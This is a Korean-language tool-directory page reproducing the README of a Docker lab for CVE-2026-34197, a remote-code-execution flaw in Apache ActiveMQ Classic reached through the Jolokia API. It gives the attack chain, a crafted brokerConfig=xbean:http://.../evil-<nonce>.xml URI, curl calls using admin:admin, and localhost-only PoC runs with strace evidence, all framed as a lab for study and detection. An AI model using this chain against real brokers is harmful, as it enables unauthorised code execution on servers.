Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

# Docker 랩: CVE-2026-34197 데모 Apache ActiveMQ Classic의 Jolokia를 통한 RCE 취약점(CVE-2026-34197)을 시연하는 Docker 랩입니다. 안전한 탐지 도구와 고정 명령어를 사용한 로컬 전용 PoC를 포함하며, 취약한 버전과 패치된 버전을 비교합니다.

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-34197 — Apache ActiveMQ Classic Jolokia RCE 실습 환경

개요

이 저장소는 CVE-2026-34197을 연구하기 위한 로컬 Docker 실습 환경입니다. CVE-2026-34197은 Jolokia JMX-HTTP API를 통해 접근 가능한 Apache ActiveMQ Classic 원격 코드 실행 문제입니다.

이 실습 환경은 두 개의 ActiveMQ Classic 인스턴스를 나란히 비교합니다:

서비스버전용도URL
vuln5.19.3취약한 대상http://127.0.0.1:8081
patched5.19.4패치된 비교 대상http://127.0.0.1:8082

이 저장소에는 두 개의 검증 스크립트가 포함되어 있습니다:

스크립트용도안전 모델
poc/detect.py인가된 탐지기HTTP 전용; 악용하지 않음
poc/poc.py로컬 전용 RCE 경로 검증고정 명령만 사용: id; whoami; sleep 5

실행 증거는 운영자가 strace와 같은 프로세스 관찰 도구를 사용하여 별도로 검증합니다.


취약점 요약

CVE-2026-34197은 인증된 사용자가 Jolokia API를 사용하여 브로커 관리 작업을 호출하고, 조작된 brokerConfig=xbean:http://... URI를 통해 브로커 JVM이 공격자가 제어하는 Spring XML을 로드하도록 만들 수 있는 Apache ActiveMQ Classic 버전에 영향을 미칩니다.

이 실습 환경에서 시연되는 취약한 흐름은 다음과 같습니다:

root@kitploit:~
Jolokia /api/jolokia/
  -> Broker MBean 작업
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> 원격 Spring XML 가져오기
  -> ProcessBuilder 빈 초기화
  -> 고정 로컬 검증 명령

패치된 서비스는 XML을 가져오기 전에 이 경로를 차단하고 다음과 유사한 오류를 반환합니다:

root@kitploit:~
VM scheme is not allowed

저장소 구조

root@kitploit:~
.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

파일 역할

  • docker-compose.yml — 취약한 ActiveMQ 서비스와 패치된 ActiveMQ 서비스를 실행합니다.
  • vuln/Dockerfile — Apache ActiveMQ Classic 5.19.3을 빌드합니다.
  • patched/Dockerfile — Apache ActiveMQ Classic 5.19.4를 빌드합니다.
  • poc/detect.py — Jolokia 노출, ActiveMQ 버전 및 Broker MBean 가시성을 확인합니다.
  • poc/poc.py — 고정된 무해한 명령을 사용하여 로컬 전용 RCE 경로를 트리거합니다.
  • images/strace.png — 취약한 서비스의 로컬 프로세스 관찰 증거를 포함합니다.
  • .gitignore — 로컬 아티팩트, Python 캐시 파일, 가상 환경, 로그 및 비밀번호를 제외합니다.

안전 경계

이 저장소는 로컬 실습 환경 및 인가된 보안 검증 전용으로 제작되었습니다.

PoC는 의도적으로 제한되어 있습니다:

  • 비로컬 대상을 거부합니다.
  • 임의의 명령을 허용하지 않습니다.
  • 고정 명령만 사용합니다: id; whoami; sleep 5.
  • 콜백을 통해 명령 출력을 수집하지 않습니다.
  • strace와 같은 별도의 운영자 제어 관찰에 의존합니다.

poc.py에 허용된 로컬 대상:

root@kitploit:~
127.0.0.1
localhost
::1

소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 이 저장소를 사용하지 마십시오.


실습 환경 설정

실습 환경 빌드 및 시작

root@kitploit:~
docker compose down -v
docker compose build
docker compose up -d

서비스 상태 확인:

root@kitploit:~
docker compose ps

예상 서비스:

root@kitploit:~
cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

Jolokia 버전 엔드포인트 확인

취약한 서비스 확인:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

패치된 서비스 확인:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

예상 버전:

root@kitploit:~
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

탐지기 사용법

poc/detect.py는 안전한 기본 스크립트입니다. 대상에 악용을 수행하지 않습니다.

다음을 확인합니다:

  1. /api/jolokia/version에 접근 가능한지 여부;
  2. 인증이 필요한지 여부;
  3. 제품이 Apache ActiveMQ인지 여부;
  4. ActiveMQ 버전;
  5. Jolokia 검색을 통해 Broker MBean이 보이는지 여부;
  6. 버전이 영향을 받는 범위에 속하는지 여부.

두 실습 서비스에 대해 탐지기 실행

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

예상 결과:

root@kitploit:~
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

탐지기에서 취약한 것으로 간주되는 기준은 무엇인가요?

탐지기는 다음 조건이 충족될 때 대상을 LIKELY_VULNERABLE로 표시합니다:

root@kitploit:~
Jolokia에 접근 가능
+
ActiveMQ 버전이 영향을 받는 범위에 속함

이 실습 환경에서 사용하는 영향 범위:

root@kitploit:~
5.x < 5.19.4
6.x < 6.2.3

Broker MBean 가시성은 악용 경로가 브로커 관리 작업에 의존하므로 신뢰도 증거로 사용됩니다.

탐지기는 CONFIRMED_RCE를 주장하지 않습니다.


로컬 전용 RCE 경로 PoC

poc/poc.py는 로컬 Docker 실습 환경에서 RCE 경로를 시연합니다.

호스트에서 임시 HTTP 서버를 시작하고 실행별 경로에 Spring XML 페이로드를 제공합니다:

root@kitploit:~
/evil-<nonce>.xml

그런 다음 Jolokia를 통해 ActiveMQ Broker MBean을 호출합니다:

root@kitploit:~
addNetworkConnector(java.lang.String)

조작된 discovery URI 사용:

root@kitploit:~
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

취약한 브로커는 이 XML을 가져옵니다. 패치된 브로커는 XML을 가져오기 전에 vm:// 전송 체계를 차단합니다.

중요 동작

취약한 실행 후 생성된 NetworkConnector가 이전 XML 경로를 다시 가져오려고 시도할 수 있습니다. 스크립트는 실행별 nonce를 사용하고 오탐을 방지하기 위해 matches_current_run을 추적합니다.

적중은 다음 조건과 일치하는 경우에만 현재 실행으로 계산됩니다:

root@kitploit:~
/evil-<current-nonce>.xml

취약한 서비스에 대해 PoC 실행

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

예상 출력:

root@kitploit:~
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

이는 ActiveMQ 5.19.3이 Jolokia 관리 브로커 경로를 통해 공격자가 제어하는 Spring XML을 가져오도록 만들 수 있음을 확인합니다.


패치된 서비스에 대해 PoC 실행

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

예상 출력:

root@kitploit:~
VM scheme is not allowed
[-] No XML fetch observed for this run.

이전 취약한 실행의 적중이 나타나면 다음이 표시되어야 합니다:

root@kitploit:~
"matches_current_run": false

이는 패치된 서비스 성공으로 계산되지 않습니다.


strace로 명령 실행 확인

PoC 스크립트는 명령 출력을 수집하지 않습니다. 명령 실행을 확인하려면 취약한 컨테이너 내부의 프로세스 생성을 관찰하십시오.

루트로 취약한 컨테이너에 들어갑니다:

root@kitploit:~
docker exec -it --user root cve-2026-34197-vuln bash

Java 프로세스 찾기:

root@kitploit:~
pgrep -af java

Java PID에 strace 연결:

root@kitploit:~
strace -f -e execve -p <JAVA_PID>

다른 터미널에서 취약한 서비스에 대해 PoC 실행:

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

예상 strace 증거:

root@kitploit:~
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)

이는 고정 검증 명령이 브로커 JVM에 의해 실행되었음을 보여주는 OS 수준 증거입니다.

strace 명령 실행 증거


실행 간 정리

PoC는 트리거 전에 기본 NetworkConnector 이름 NC를 제거하려고 시도합니다. 이렇게 하면 반복적인 실습 실행이 예측 가능하게 유지됩니다.

수동 정리:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  -H 'Content-Type: application/json' \
  -X POST \
  http://127.0.0.1:8081/api/jolokia/ \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }' | python3 -m json.tool

또는 실습 환경 재시작:

root@kitploit:~
docker compose restart vuln patched

예상 실습 결과

테스트취약한 5.19.3패치된 5.19.4
detect.pyLIKELY_VULNERABLENOT_AFFECTED_BY_VERSION
Jolokia 접근인증으로 접근 가능인증으로 접근 가능
Broker MBean표시됨표시됨
poc.py XML 가져오기예아니요
패치된 차단 시그니처해당 없음VM scheme is not allowed
strace 명령 증거/bin/sh -c 'id; whoami; sleep 5'예상되지 않음

참고 자료

  • Apache ActiveMQ 보안 권고 — CVE-2026-34197: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • NVD — CVE-2026-34197: https://nvd.nist.gov/vuln/detail/CVE-2026-34197
  • CVE.org — CVE-2026-34197 레코드: https://www.cve.org/CVERecord?id=CVE-2026-34197
  • GitHub Advisory Database — GHSA-rxpj-7qvf-xv32: https://github.com/advisories/GHSA-rxpj-7qvf-xv32
  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE via Jolokia API: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Apache ActiveMQ Classic 문서 — 브로커 네트워크: https://activemq.apache.org/components/classic/documentation/networks-of-brokers
  • Apache ActiveMQ Classic JMX BrokerView API 문서: https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html
도구 다운로드